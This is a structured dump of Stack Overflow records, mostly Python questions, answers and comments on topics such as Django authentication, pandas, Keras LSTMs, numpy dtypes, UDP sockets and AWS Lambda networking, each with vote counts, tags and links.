has body: I am working on a project where I need to have 3 types of Users. Admin Vendor Customer I want to be having seperate Models for all three of them Vendor &amp; Customers instead of having a type field in a common User Model. My first approach to this problem was to define all models by sub-classing the AbstractUser model # models.py from django.contrib.auth.models import AbstractUser class Customer(AbstractUser): pass class Vendor(AbstractUser): pass And add a custom Authentication backend to handle the authentication of users based on the request object. # settings.py AUTHENTICATION_BACKENDS = ['backends.CustomAuthBackend'] And my backends.py file will contain the logic to authenticate users and use different models for each one based on the request object. # backends.py from __future__ import print_function class CustomAuthBackend(object): def authenticate(self, request, username=None, password=None): # authenticate user based on request object def get_user(self, user_id): # logic to get user However this does not work and looks like i also need to specifiy the AUTH_USER_MODEL in settings.py which is used for authentication. Is it possible at all.Does Django allow to authenticate from 3 different tables. How can I go ahead with this ? Is there any other approach to this and what should I change ?
upvote count: 5
tagged with: django-authentication
tagged with: django-models
tagged with: python
linked to: http://stackoverflow.com/q/75463772
has comment: http://stackoverflow.com/comment/133157508
has answer: http://stackoverflow.com/a/47253058
answer count: 2
score: 5
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/a/48668520
score: 0
has body: Very very late answer. As said by the error log, on Windows, close_fds cannot be used if you are redirecting any of the stdin/stdout/stderr. However, if you really need to use close_fds (for instance in my case so that the subprocess does not inherit from the other file descriptors), you may not use close_fds and use a magic hack such as def _hack_windows_subprocess(): """HACK: python 2.7 file descriptors. This magic hack fixes https://bugs.python.org/issue19575 by adding HANDLE_FLAG_INHERIT to all already opened file descriptors. """ # See https://github.com/secdev/scapy/issues/1136 import ctypes, msvcrt, stat HANDLE_FLAG_INHERIT = 0x00000001 for fd in range(100): try: s = os.fstat(fd) except: break if stat.S_ISREG(s.st_mode): ctypes.windll.kernel32.SetHandleInformation( msvcrt.get_osfhandle(fd), HANDLE_FLAG_INHERIT, 0) and run _hack_windows_subprocess right before your subprocess calls.
answers question: http://stackoverflow.com/q/47320176
type: Answer

python-3.6
tags question: http://stackoverflow.com/q/47272523
tags question: http://stackoverflow.com/q/47350570
tags question: http://stackoverflow.com/q/47308752
tags question: http://stackoverflow.com/q/47322846
tags question: http://stackoverflow.com/q/47320766
tags question: http://stackoverflow.com/q/47322688
tags question: http://stackoverflow.com/q/47307738
tags question: http://stackoverflow.com/q/47376408
tags question: http://stackoverflow.com/q/47225774
tags question: http://stackoverflow.com/q/47379419
tags question: http://stackoverflow.com/q/47325413
tags question: http://stackoverflow.com/q/47266400
type: Tag
tags question: http://stackoverflow.com/q/47229350
tag name: python-3.6
tags question: http://stackoverflow.com/q/47339137
tags question: http://stackoverflow.com/q/47259753
tags question: http://stackoverflow.com/q/47318881
tags question: http://stackoverflow.com/q/47236559
tags question: http://stackoverflow.com/q/47379322
tags question: http://stackoverflow.com/q/47257249
tags question: http://stackoverflow.com/q/47362751
tags question: http://stackoverflow.com/q/47364081
tags question: http://stackoverflow.com/q/47306457
tags question: http://stackoverflow.com/q/47382294
tags question: http://stackoverflow.com/q/47264599
tags question: http://stackoverflow.com/q/47297146
tags question: http://stackoverflow.com/q/47291576
tags question: http://stackoverflow.com/q/47375153
tags question: http://stackoverflow.com/q/47260451
tags question: http://stackoverflow.com/q/47361806
tags question: http://stackoverflow.com/q/47337872
tags question: http://stackoverflow.com/q/47237112
tags question: http://stackoverflow.com/q/47339968

http://stackoverflow.com/q/47339874
score: 1
accepted answer: http://stackoverflow.com/a/47353491
downvote count: 0
has answer: http://stackoverflow.com/a/47353491
upvote count: 1
has title: How do I save a level layout in a variable
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47340626
tagged with: python
tagged with: pygame
has comment: http://stackoverflow.com/comment/81632817
type: Question
has answer: http://stackoverflow.com/a/47340276
has body: Currently, My next project is going to be a platformer and when I look around stackoverflow for research on several mechanics, I see many people doing the same thing: They save a layout with some variable, then go and unload it somewhere and it just renders in the game. I was interested, so I looked further and I found nothing on how to load/unload states like that, or maybe I'm just not wording my search correctly. Either way, How do I do this? ex: I would save a level layout as either an array or a single multi-line string and then somehow generate a single tile sprite for each letter, like T. import pygame # Storage method A level = ''' X X X X X X X X X X T T X X X X X X T T T T T T T ''' # Storage Method B level2 = [ 'XXXXX', 'XXXXX', 'TTXXX', 'XXXTT', 'TTTTT' ] # X is blank space, T is tiles # Then what? Thats what I need to know. # If someone already answered this and I'm just not using the right keywords let me know.
answer count: 3
possible better answer: http://stackoverflow.com/a/47340626

http://stackoverflow.com/comment/81467956
has text: tell some description like what you want and what is your expected out
type: QuestionComment
comment on: http://stackoverflow.com/q/47258648
type: Comment
score: 2

http://stackoverflow.com/q/47296897
tagged with: matplotlib
has title: Using matplotlib to plot a distribution of time occurrences. I would like the x axis to have hours (12:00 PM) rather than integers (12)
type: Question
has body: Here's my plot, which is generated using the following code: bins = np.linspace(0,24,25) plt.hist(hours,bins, edgecolor='black', linewidth = 1.2, color = 'red') I would like the x axis to show 24 entries, from 12:00AM to 11:00 PM ideally rotated left 90 degrees. I see two paths: convert the actual data to time values so the histogram reads in time values or simply add a custom x axis with 12:00AM, 1:00 AM, etc. What's the easiest / cleanest approach here? I'm not familiar with how to do either. For reference, "hours" is a int64 array.
has comment: http://stackoverflow.com/comment/81545194
answer count: 2
has answer: http://stackoverflow.com/a/47306052
accepted answer: http://stackoverflow.com/a/47297139
tagged with: python
tagged with: plot
has answer: http://stackoverflow.com/a/47297139
possible better answer: http://stackoverflow.com/a/47306052
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81584677
score: 0

http://stackoverflow.com/a/47295693
answers question: http://stackoverflow.com/q/47295241
score: 0
accepted answer of: http://stackoverflow.com/q/47295241
type: AcceptedAnswer
type: Answer
has body: You can't keep it by this way because oath token will update each time. But you can update user data, at the base of the email. Read this guide

http://stackoverflow.com/comment/81574094
type: Comment
type: QuestionComment
has text: Yes I am using it
comment on: http://stackoverflow.com/q/47311149
score: 0

http://stackoverflow.com/a/47361810
has comment: http://stackoverflow.com/comment/81676656
has comment: http://stackoverflow.com/comment/81676723
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/81676678
has comment: http://stackoverflow.com/comment/81676637
has comment: http://stackoverflow.com/comment/81676638
has comment: http://stackoverflow.com/comment/81676665
answers question: http://stackoverflow.com/q/47361776
score: 0
has body: I guess that's will work for you ! def remove_punctuation(s): new_s = [i for i in s if i.isalnum() or i.isalpha() or i.isspace()] return ''.join(new_s)
accepted answer of: http://stackoverflow.com/q/47361776
has comment: http://stackoverflow.com/comment/81676697
has comment: http://stackoverflow.com/comment/81676722

http://stackoverflow.com/comment/81460254
score: 0
has text: i am not sure you have gone through the documentation, tools like buildozer and python-for-android are there for this purpose.
type: Comment
comment on: http://stackoverflow.com/q/47238934
type: QuestionComment

http://stackoverflow.com/q/47273739
has comment: http://stackoverflow.com/comment/81549964
tagged with: lstm
has comment: http://stackoverflow.com/comment/81510172
score: 0
has body: I need help implementing a sequence classifier prediction using Keras APIs. So far, I've managed to get the data in a specific format that I believe should be suited for input into Keras, however, I am still failing to understand the exact specifics on what parameters I need to change. Here is the situation: What I have is a number of targets, with each target representing an independent event. Each target contains multiple detections of varying number. For example, one target might contain 33 detections, while another might contain 54. Each detection is just a single value between 0-1. The original dataset has a shape of (# samples, # detections) I want to be able to input the sequence of these detections into a LSTM to classify the overall target into two classes for ALL targets So far, I've pre-pended 0s to the detection sequences such that they are equal in length. Now the dataset has a shape of (# samples, 77(max detections across all targets)) Then, I create the time steps of an arbitrary window size of 7. The dataset has shape (# samples, 77-window+1 = 71, 7). In case this isn't quite clear, the sequence has been turned from 1 long [1, 2, 3, ... 77] into 71 sequences of 7 that look like: [[1, 2, 3, 4, 5, 6, 7], [2, 3, 4, 5, 6, 7, 8], ..., [71, 72, 73, 74, 75, 76, 77]] Now that my data is in the format (# samples, # windows per sample, window), what tweaks should I make in order to obtain the output of 1 classification output per sample? I've tried looking online at keras's documentation about TimeDistributed layers and LSTM layers, at all of the blog posts on MachineLearningMastery, and other forum posts, but I couldn't quite understand enough for me to figure out how to use the API for my specific case. Here's what I have so far: train_new.shape output: (31179, 71, 7) model = Sequential() model.add(LSTM(100, input_shape=(71, 7), return_sequences=True)) model.add(TimeDistributed(Dense(1, activation='sigmoid'))) model.compile(loss="binary_crossentropy", optimi…
tagged with: deep-learning
answer count: 0
tagged with: machine-learning
has title: Need guidance on LSTM implementation in Keras
tagged with: keras
type: Question
has comment: http://stackoverflow.com/comment/81503593
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/a/47385398
downvote count: 0
type: Answer
has body: Does it even make sense to implement in terms of async def? No, I think it's not. It happened that asyncio module was implemented using generators, but, theoretically, it could've been implemented without generators at all. There's no point of trying to use asyncio for generator specific job. Just imagine that asyncio coroutines and generator coroutines - are different things. Roughly saying, you should use asyncio only when you need to do some I/O operations parallely (like downloading multiple urls) and for nothing else. More about it.
answers question: http://stackoverflow.com/q/47368984
score: 3
upvote count: 3

http://stackoverflow.com/a/47275046
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47274952
downvote count: 0
has comment: http://stackoverflow.com/comment/81501481
has comment: http://stackoverflow.com/comment/81502326
has comment: http://stackoverflow.com/comment/81527490
accepted answer of: http://stackoverflow.com/q/47274952
score: 3
type: Answer
has body: Since it's effectively a static class variable, couldn't you just initialize it in the class definition? I talking about something like this: import json class Cloud(object): with open('config.dat', 'r') as f: dat = json.load(f) val = dat['val'] del dat # Keep this variable from becoming a class attribute. def __init__(self): # .............................. Class Constructor # with open('config.dat', 'r') as f: # dat = json.load(f) # Cloud.val = dat['val'] # ....................... overwrite Class Variable print('Class Cloud -- constructor called.') @staticmethod def foo(): # ....................................... static method, does not require instance # Cloud.__init__(Cloud.__new__(Cloud)) # ......... call the constructor on a NEW instance print('Class Cloud, class variable (val): {}'.format(Cloud.val)) class Sensor(Cloud): @staticmethod def bar(): print('bar') # run Static Method of Inherited Class Cloud # call Class Cloud constructor Sensor.foo() This way you wouldn't need to construct a throw-away instance of Cloud to get the variable initialized. Besides, it seems inefficient to be reading the (whole) file in everytime an instance is created.
has comment: http://stackoverflow.com/comment/81502387
upvote count: 3

http://stackoverflow.com/comment/81717558
score: 0
type: AnswerComment
has text: You, my friend. Are a lifesaver! Thanks alot !
type: Comment
comment on: http://stackoverflow.com/a/47380647

http://stackoverflow.com/comment/81690743
has text: What are `pro` and `ans` ? Shouldn't they be the same variable?
comment on: http://stackoverflow.com/q/47369168
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47270627
accepted answer of: http://stackoverflow.com/q/47269418
downvote count: 0
has body: You should oversample after vectorizing the text data but before fitting the classifier. This means splitting up the pipeline in the code. The relevant part of the code should be something like this: nb_pipeline = Pipeline([ ('vectorizer', CountVectorizer(ngram_range = (1, 10))), ('tfidf_transformer', TfidfTransformer()) ]) k_fold = KFold(n_splits = 10) nb_f1_scores = [] nb_conf_mat = np.array([[0, 0], [0, 0]]) for train_indices, test_indices in k_fold.split(data): train_text = data.iloc[train_indices]['sentence'].values train_y = data.iloc[train_indices]['isRelevant'].values test_text = data.iloc[test_indices]['sentence'].values test_y = data.iloc[test_indices]['isRelevant'].values vectorized_text = nb_pipeline.fit_transform(train_text) sm = SMOTE(ratio = 1.0) train_text_res, train_y_res = sm.fit_sample(vectorized_text, train_y) clf = MultinomialNB() clf.fit(train_text_res, train_y_res) predictions = clf.predict(nb_pipeline.transform(test_text))
type: Answer
answers question: http://stackoverflow.com/q/47269418
has comment: http://stackoverflow.com/comment/81492367
type: AcceptedAnswer
score: 6
upvote count: 6

http://stackoverflow.com/comment/82069741
score: 1
comment on: http://stackoverflow.com/q/47312047
has text: There is an [issue #618](https://github.com/PyCQA/pylint/issues/618) which is [an ongoing effort of one of contributors](https://github.com/PyCQA/pylint/tree/per_dir_config). Contributions and help are more than welcome.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/81536798
score: 0
type: AnswerComment
has text: changing `super()` to the `Person.__init__(self...)` in `Student` and `Worker` did the trick. Although I don't think I need to change the order of `self.school` and the base class call, it still worked without order change.
comment on: http://stackoverflow.com/a/47292096
type: Comment

quora
tags question: http://stackoverflow.com/q/47342850
tag name: quora
type: Tag

http://stackoverflow.com/a/47308472
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81569418
answers question: http://stackoverflow.com/q/47307873
has comment: http://stackoverflow.com/comment/133906272
has comment: http://stackoverflow.com/comment/136735118
score: 6
type: Answer
has comment: http://stackoverflow.com/comment/81567851
upvote count: 6
has body: Leaving my solution here for posterity: import json def dump_sqlalchemy(output_connection_string,output_schema): """ Returns the entire content of a database as lists of dicts""" engine = create_engine(f'{output_connection_string}{output_schema}') meta = MetaData() meta.reflect(bind=engine) # http://docs.sqlalchemy.org/en/rel_0_9/core/reflection.html result = {} for table in meta.sorted_tables: result[table.name] = [dict(row) for row in engine.execute(table.select())] return json.dumps(result)
has comment: http://stackoverflow.com/comment/119325235
accepted answer of: http://stackoverflow.com/q/47307873

http://stackoverflow.com/q/47324358
has answer: http://stackoverflow.com/a/78252552
favorite count: 0
type: Question
tagged with: python-3.x
score: 3
has body: I have a socket listener thread running and it supposed to close when a particular condition is met.here is my code snippet. def __init__(self, arg): threading.Thread.__init__(self) self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) receiver_port = int(&lt;port&gt;) listen_addr = (&lt;some ip&gt;, receiver_port) self.socket.bind(listen_addr) self.shutdown = threading.Event() self.shutdown.set() def kill_function(): self.socket.shutdown(socket.SOCK_DGRAM) self.shutdown.clear() self.socket.close() I am facing OSError: [Errno 107] Transport endpoint is not connected error when I try to kill the socket. The same issue is observing if I user SHUT_RD, SHUT_RDWR. can anyone please help me how to call shutdown() function, while using UDP sockets. Thanks in advance.
has answer: http://stackoverflow.com/a/47324829
tagged with: sockets
tagged with: python
has title: How to shutdown udp socket in python
answer count: 2
tagged with: udp
upvote count: 3
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/comment/89744511
has text: You can also play around with ion() versus ioff() to move between an interactive plot and a non interactive plot.
type: Comment
comment on: http://stackoverflow.com/a/51330707
score: 0
type: AnswerComment

http://stackoverflow.com/q/47376992
has answer: http://stackoverflow.com/a/61521535
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81706609
has body: I have an example dataframe: col1 col2 0 Hello, is it me you're looking for Hello 1 Hello, is it me you're looking for me 2 Hello, is it me you're looking for looking 3 Hello, is it me you're looking for for 4 Hello, is it me you're looking for Lionel 5 Hello, is it me you're looking for Richie I would like to change col1 so that it removed the string in col2, and return the ammended dataframe. I would also like to remove the characters 1 before and 1 after the string, for example, the desired output for index 1 would be: col 1 col 2 1 Hello, is ityou're looking for me I have tried using pd.apply(), pd.map() with a .replace() function, but I can't get the .replace() to use pd.['col2'] as an argument. I also feel as if it isn't the best way to go about it. Any help? I'm mostly new to pandas and am looking to learn, so please ELI5. Thanks!
score: 5
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47377370
upvote count: 5
tagged with: python
has answer: http://stackoverflow.com/a/47377367
has title: Remove string from pandas column dependent on another column
answer count: 3
tagged with: pandas
downvote count: 0

http://stackoverflow.com/comment/81686051
score: 0
type: AnswerComment
has text: Please if you don't mind me asking what was your goal for the new_team variable because I put in a print statement after it and each time it goes through the loop it returns the same list and causes the recursive call on assignment become an infinite loop. so I figured that I just use team in the recursive call and it at least produced a result even though the maximum availability of some workers were exceeded
type: Comment
comment on: http://stackoverflow.com/a/47359527

http://stackoverflow.com/q/47311315
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81573630
downvote count: 0
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/81573477
has answer: http://stackoverflow.com/a/47311772
has answer: http://stackoverflow.com/a/47311728
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47311480
answer count: 3
has body: I writing a python script to verify report templates. There is a master template, which contains all possible reports with all their possible fields. Then there is a template csv which contains some of those reports. For simplicity lets say then look like this; Template csv: OutputName, col1, col2, col3, col4, col5 PersonReport, name, surname, age, dob, id AccountReport, f1, f2, f3, f4, f5 TransactionReport, f1, f2, f3, f4, f5 Master csv: OutputName, col1, col2, col3, col4, col5 PersonReport, name, surname, street, age, id TransactionReport, f1, f2, f3, f4, f5 So in this example the AccountReport doesn't even exist in the Master, the PersonReport contains a field dob which isn't valid because it isn't in the Master. The only valid report is TransactionReport. So I idea is to read these csvs in as dictionaries, with the OutputName as the key and the field names as the values. import pandas as pd masterDf = pd.read_csv('master.csv') master = masterDf.set_index('OutputName').T.to_dict('list') templateDf = pd.read_csv('template.csv') template = templateDf.set_index('OutputName').T.to_dict('list') The dictionaries looks like; template = {' PersonReport': [' name', ' surname', ' age', ' dob', ' id'], ' AccountReport': [' f1', ' f2', ' f3', ' f4', ' f5 '], ' TransactionReport': [' f1', ' f2', ' f3', ' f4', ' f5']} master = {' PersonReport': [' name', ' surname', ' street', ' age', ' id'], ' TransactionReport': [' f1', ' f2', ' f3', ' f4', ' f5']} Now the I want to first match on the keys, to find out which keys don't exist in the master dict. After that when finding keys that do match, I wish to check if the values in the dictionary are valid, by checking that they exist in the master dict's values. So I try : errorCount = 0 for key, value in template.items(): if key not in master: print("{} is an invalid report".format(key)) errorCount += 1 if key in master: for fields in template.values(): for field in fields: for cols in master.values(): if field not in cols: print("{} …
has title: Check if a value from a list of values in a python dictionary exists in another dictionary
has answer: http://stackoverflow.com/a/47311480
tagged with: http://stackoverflow.com/tag/csv
score: 1
accepted answer: http://stackoverflow.com/a/47311772
upvote count: 1

http://stackoverflow.com/a/47293732
has body: You may want to report this on the numba issue tracker, feels like something is going awry in the compiler for it to scale so poorly. You may also consider if you really need a large number of array statements like this and if problem could be more clear refactored. E.g. instead of array of booleans, could valid be a function called as needed? That all said, a workaround in the current version of numba is unrolling the conditions. For your example: # "codegen" for i in range(23): print(f' valid[{i}] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0)') @jit(nopython=True) def foo(a, b): valid = np.empty(23, dtype=np.bool_) valid[0] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[1] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[2] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[3] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[4] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[5] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[6] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[7] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[8] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[9] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[10] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[11] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[12] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[13] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[14] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[15] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[16] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[17] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[18] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[19] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[20] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[21] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) valid[22] = (a - 1 &gt;= 0) and (b - 1 &gt;= 0) %time foo(1,1) Wall time: 274 ms
has comment: http://stackoverflow.com/comment/81544866
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47264343
score: 3
upvote count: 3
type: Answer
accepted answer of: http://stackoverflow.com/q/47264343

http://stackoverflow.com/a/47486450
answers question: http://stackoverflow.com/q/47295851
score: 2
downvote count: 0
has body: EDIT: After reading the question again I realised that the error is due to name resolution (-2, 'Name or service not known'). If you are using internal Route53 for your VPC, the solution below should still work as the lambda function will use VPC's DNS servers. It seems either the lambda function is not running on the same subnet of your proxy instance or the security group is blocking the connection. To fix it: Create a security group to allow the lambda function to connect to port 443 on your proxy host Update your lambda function to use that security group AND to be executed inside your subnet: This script should do it: #!/bin/bash # Fill the variables bellow with your vpc and subnet id VPC_ID="" SUBNET_IDS="" FUNCTION_NAME="" SEC_GROUP=$(aws ec2 create-security-group --group-name 'lambda-proxy' --vpc-id $VPC_ID --description 'Lambda/proxy communication' --output text) aws ec2 authorize-security-group-ingress --group-id ${SEC_GROUP} --protocol tcp --port 443 aws lambda update-function-configuration --function-name $FUNCTION_NAME --vpc-config SubnetIds=$SUBNET_IDS,SecurityGroupIds=$SEC_GROUP Then assign the created security group to your instance. Hope it helps
upvote count: 2
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/81992555
accepted answer of: http://stackoverflow.com/q/47295851
has comment: http://stackoverflow.com/comment/82023032

http://stackoverflow.com/comment/81631721
score: 0
comment on: http://stackoverflow.com/q/47339188
type: Comment
type: QuestionComment
has text: I included and modified my code based on your example, again I'm not sure where I'm going wrong and don't think it's the same example- that one uses random arrays and includes numpy arrays, not a pandas dataframe

ripemd
tags question: http://stackoverflow.com/q/47259517
type: Tag
tag name: ripemd

http://stackoverflow.com/comment/81452250
comment on: http://stackoverflow.com/q/47250991
type: QuestionComment
has text: I can certainly try, could you please give me a small example?
type: Comment
score: 0

http://stackoverflow.com/q/47287426
type: Question
has answer: http://stackoverflow.com/a/47289862
linked to: http://stackoverflow.com/q/47265894
type: UnansweredQuestion
has title: Python put a triangle inside another one
answer count: 1
tagged with: python
has body: I’m trying to print a triangle inside of another one so I have the code w = int(input(“Input width of first triangle: “) c1 = input(“Pick a character: “) c2 = input(“Pick another character: “) print(“One: “) for i in range(“width, 0, -2): print(‘{:^{str_len}}’.format(c1 * i, str_len = w * 2)) If c1 was * and w was 5 it would print: ***** *** * And now I want it to be like so if c2 was + it would also print: + +++ +++++ +*****+ +++***+++ +++++*+++++ Like a triangle with the first one inside it but I don’t know how that would work
score: 0
has comment: http://stackoverflow.com/comment/113442949
has comment: http://stackoverflow.com/comment/81525044
upvote count: 1
downvote count: 1
favorite count: 0

http://stackoverflow.com/a/47266640
answers question: http://stackoverflow.com/q/47266319
score: 0
type: Answer
has body: If you are using Linux then you can try as follows from your command prompt: just for the example, i imported os module of python and got the OS information with os.uname() command .. bash-4.1$ python Python 2.6.6 (r266:84292, Aug 18 2016, 15:13:37) [GCC 4.4.7 20120313 (Red Hat 4.4.7-17)] on linux2 Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; import os &gt;&gt;&gt; print os.uname() ('Linux', 'noi-karn', '2.6.32-431.11.2.el6.x86_64', '#1 SMP Tue Mar 25 19:59:55 UTC 2014', 'x86_64') &gt;&gt;&gt; quit() bash-4.1$

http://stackoverflow.com/q/47324921
has answer: http://stackoverflow.com/a/61049607
answer count: 9
upvote count: 5
has comment: http://stackoverflow.com/comment/81602019
score: 5
has comment: http://stackoverflow.com/comment/81601877
has title: Can't load 'mnist-original' dataset using sklearn
has answer: http://stackoverflow.com/a/47325566
tagged with: mnist
linked to: http://stackoverflow.com/q/19530383
has answer: http://stackoverflow.com/a/58895310
tagged with: python
has comment: http://stackoverflow.com/comment/81601558
has body: This question is similar to what asked here and here. Unfortunately, in my case the suggested solution didn't fix the problem. I need to work with the MNIST dataset but I can't fetch it, even if I specify the address of the scikit_learn_data/mldata/ folder (see below). How can I fix this? In case it might help, I'm using Anaconda. Code: from sklearn.datasets.mldata import fetch_mldata dataset = fetch_mldata('mnist-original', data_home='/Users/michelangelo/scikit_learn_data/mldata/') mnist = fetch_mldata('MNIST original') Error: --------------------------------------------------------------------------- IOError Traceback (most recent call last) &lt;ipython-input-5-dc4d45bc928e&gt; in &lt;module&gt;() ----&gt; 1 mnist = fetch_mldata('MNIST original') /Users/michelangelo/anaconda2/lib/python2.7/site-packages/sklearn/datasets/mldata.pyc in fetch_mldata(dataname, target_name, data_name, transpose_data, data_home) 168 # load dataset matlab file 169 with open(filename, 'rb') as matlab_file: --&gt; 170 matlab_dict = io.loadmat(matlab_file, struct_as_record=True) 171 172 # -- extract data from matlab_dict /Users/michelangelo/anaconda2/lib/python2.7/site-packages/scipy/io/matlab/mio.pyc in loadmat(file_name, mdict, appendmat, **kwargs) 134 variable_names = kwargs.pop('variable_names', None) 135 MR = mat_reader_factory(file_name, appendmat, **kwargs) --&gt; 136 matfile_dict = MR.get_variables(variable_names) 137 if mdict is not None: 138 mdict.update(matfile_dict) /Users/michelangelo/anaconda2/lib/python2.7/site-packages/scipy/io/matlab/mio5.pyc in get_variables(self, variable_names) 290 continue 291 try: --&gt; 292 res = self.read_var_array(hdr, process) 293 except MatReadError as err: 294 warnings.warn( /Users/michelangelo/anaconda2/lib/python2.7/site-packages/scipy/io/matlab/mio5.pyc in read_var_array(self, header, process) 250 `process`. 251 ''' --&gt; 252 return self._matrix_reader.array_from_header(header, process) 253 254 def get_variables(self, variable_names=None): mi…
has answer: http://stackoverflow.com/a/70072386
duplicate of: http://stackoverflow.com/q/19530383
has answer: http://stackoverflow.com/a/52297457
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81601746
has answer: http://stackoverflow.com/a/59065374
possible better answer: http://stackoverflow.com/a/59065374
has comment: http://stackoverflow.com/comment/81601645
has comment: http://stackoverflow.com/comment/81601929
has answer: http://stackoverflow.com/a/54986237
downvote count: 0
has comment: http://stackoverflow.com/comment/81602066
tagged with: scikit-learn
has answer: http://stackoverflow.com/a/47326404
linked to: http://stackoverflow.com/q/26102261
has answer: http://stackoverflow.com/a/58416117
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/52297457

http://stackoverflow.com/q/47225783
has comment: http://stackoverflow.com/comment/81401680
favorite count: 0
has comment: http://stackoverflow.com/comment/81402058
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81401660
upvote count: 2
answer count: 5
has comment: http://stackoverflow.com/comment/81401661
has answer: http://stackoverflow.com/a/47226091
has comment: http://stackoverflow.com/comment/81401709
has title: While/Else Recheck the condition and loop
has comment: http://stackoverflow.com/comment/81401587
tagged with: python
has body: I have the following code: def check(onen,twon,threen,fourn,fiven): while ((onen != twon) and (onen != threen) and (onen != fourn) and (onen != fiven)): return onen else: onen = random.randint(1,45) I'd like to ask how to make it like this: def check(onen,twon,threen,fourn,fiven): while ((onen != twon) and (onen != threen) and (onen != fourn) and (onen != fiven)): return onen else: onen = random.randint(1,45) (check the condition on while again) I want to make this loop: if the condition is false, check and check again until it's true.
has answer: http://stackoverflow.com/a/47226033
possible better answer: http://stackoverflow.com/a/47225845
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47226071
has answer: http://stackoverflow.com/a/47225845
accepted answer: http://stackoverflow.com/a/47226033
downvote count: 0
has answer: http://stackoverflow.com/a/47225914

http://stackoverflow.com/q/47269286
upvote count: 0
tagged with: nested
tagged with: loops
has answer: http://stackoverflow.com/a/47269882
has answer: http://stackoverflow.com/a/47269358
has comment: http://stackoverflow.com/comment/81489337
downvote count: 1
favorite count: 0
type: Question
tagged with: enumerate
tagged with: arcpy
has body: The lists are made up as I do not have my code in front of me. I have one list that has two items: listA = [Region1, Region2] Within those lists (they are objects with embedded information originally) they each have a set of items. frame1 has three items; let's say layer1 = [VA, GA, NC] and frame2 has two items; layer2 = [WI, MI]. So, hierarchically: Region1: VA GA NC Region2: WI MI What I am trying to do is enumerate the parent layers to be: 0 Region1 1 Region2 While also enumerating from each respective sublist so the result would look something like: 0 Region1 0 VA 1 GA 2 NC 1 Region2 0 WI 1 MI The first enumeration is simple, but I am lost on how to enumerate properly using any nested loop. I keep getting all 5 layers for each frame no matter how I've gone about it. Any tips, tricks, ideas? I specifically need this to work with the basic enumerate function; not the Enum module.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81489287
has comment: http://stackoverflow.com/comment/81489387
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/81489576
has title: How to enumerate a list within a list that was enumerated
has comment: http://stackoverflow.com/comment/81489514
answer count: 2

http://stackoverflow.com/comment/81406382
has text: Not an answer (nothing to do with Spark), but this [MathSE question](https://math.stackexchange.com/questions/694339/parallel-algorithms-for-svd) might help.
comment on: http://stackoverflow.com/q/47227895
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81622055
score: 1
comment on: http://stackoverflow.com/a/47335319
has text: No pandas needed. +1
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47295091
has body: I have a numpy.float32 matrix V, then I did a division with a integer scalar value: V = V/num where num is an integer. The outcome is somewhat surprising that V is converted to a numpy.float64 matrix. Can anyone help understand why this is so? Thanks!
upvote count: 5
has comment: http://stackoverflow.com/comment/81541765
tagged with: python
tagged with: numpy
has comment: http://stackoverflow.com/comment/81541484
has comment: http://stackoverflow.com/comment/81541991
has answer: http://stackoverflow.com/a/47296271
score: 5
has comment: http://stackoverflow.com/comment/81542724
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/45949263
has comment: http://stackoverflow.com/comment/81541693
has comment: http://stackoverflow.com/comment/81541474
has comment: http://stackoverflow.com/comment/81542813
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/81542362
tagged with: floating-point
has title: Why does Python numpy float32 / int division gives a float64 result?
tagged with: data-structures
has comment: http://stackoverflow.com/comment/81541507
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81541550
has comment: http://stackoverflow.com/comment/81541657
has comment: http://stackoverflow.com/comment/81541643
has comment: http://stackoverflow.com/comment/81543609

